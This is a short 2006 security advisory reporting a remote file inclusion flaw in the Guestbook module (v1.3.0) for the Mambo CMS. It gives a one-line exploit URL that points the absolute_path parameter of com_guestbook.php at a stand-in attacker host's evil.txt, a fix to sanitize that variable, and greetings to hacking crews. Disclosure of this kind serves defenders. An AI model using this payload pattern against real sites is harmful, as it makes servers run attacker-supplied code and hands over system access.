---------------------------------------------------------------------------=0D
Guestbook Mambo Module <== v1.3.0 Multiple Remote File Include Vulnerabilities=0D
---------------------------------------------------------------------------=0D
=0D
Author          : Matdhule=0D
Date            : July 27th 2006=0D
Location        : Indonesia, Jakarta=0D
Critical Lvl    : Highly critical=0D
Impact          : System access=0D
Where           : From Remote=0D
---------------------------------------------------------------------------=0D
=0D
Affected software description:=0D
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=0D
=0D
Guestbook Module for Mambo=0D
=0D
Application     : Guestbook Module=0D
version         : 1.3.0=0D
=0D
---------------------------------------------------------------------------=0D
=0D
Vulnerability:=0D
~~~~~~~~~~~~~~~=0D
=0D
in folder components we found vulnerability script com_guestbook.php.=0D
=0D
-----------------------com_guestbook.php----------------------=0D
http://[target]/[path]/components/com_guestbook.php?absolute_path=http://attacker.com/evil.txt?=0D 
=0D
Solution:=0D
~~~~~~~~=0D
=0D
Sanitize variabel $absolute_path in com_guestbook.php=0D
=0D
=0D
---------------------------------------------------------------------------=0D
Shoutz:=0D
~~~~~~=0D
~ solpot a.k.a chris, J4mbi  H4ck3r, thx for the hacking lesson :)=0D
~ y3dips, the_day, moby, comex, z3r0byt3, c-a-s-e, S`to, lirva32, anonymous=0D
~ bius, lappets, ghoz, t4mbun_hacker, NpR, h4ntu, thama, Blue|Spy=0D
~ newbie_hacker@yahoogroups.com, jasakom_perjuangan@yahoogroups.com=0D 
~ #n0b0dy (Solpotcrew Comunity) #jambihackerlink #e-c-h-o @irc.dal.net=0D 
---------------------------------------------------------------------------=0D
Contact:=0D
~~~~~~~=0D
=0D
     matdhule[at]gmail[dot]com=0D
     =0D
-------------------------------- [ EOF ] ----------------------------------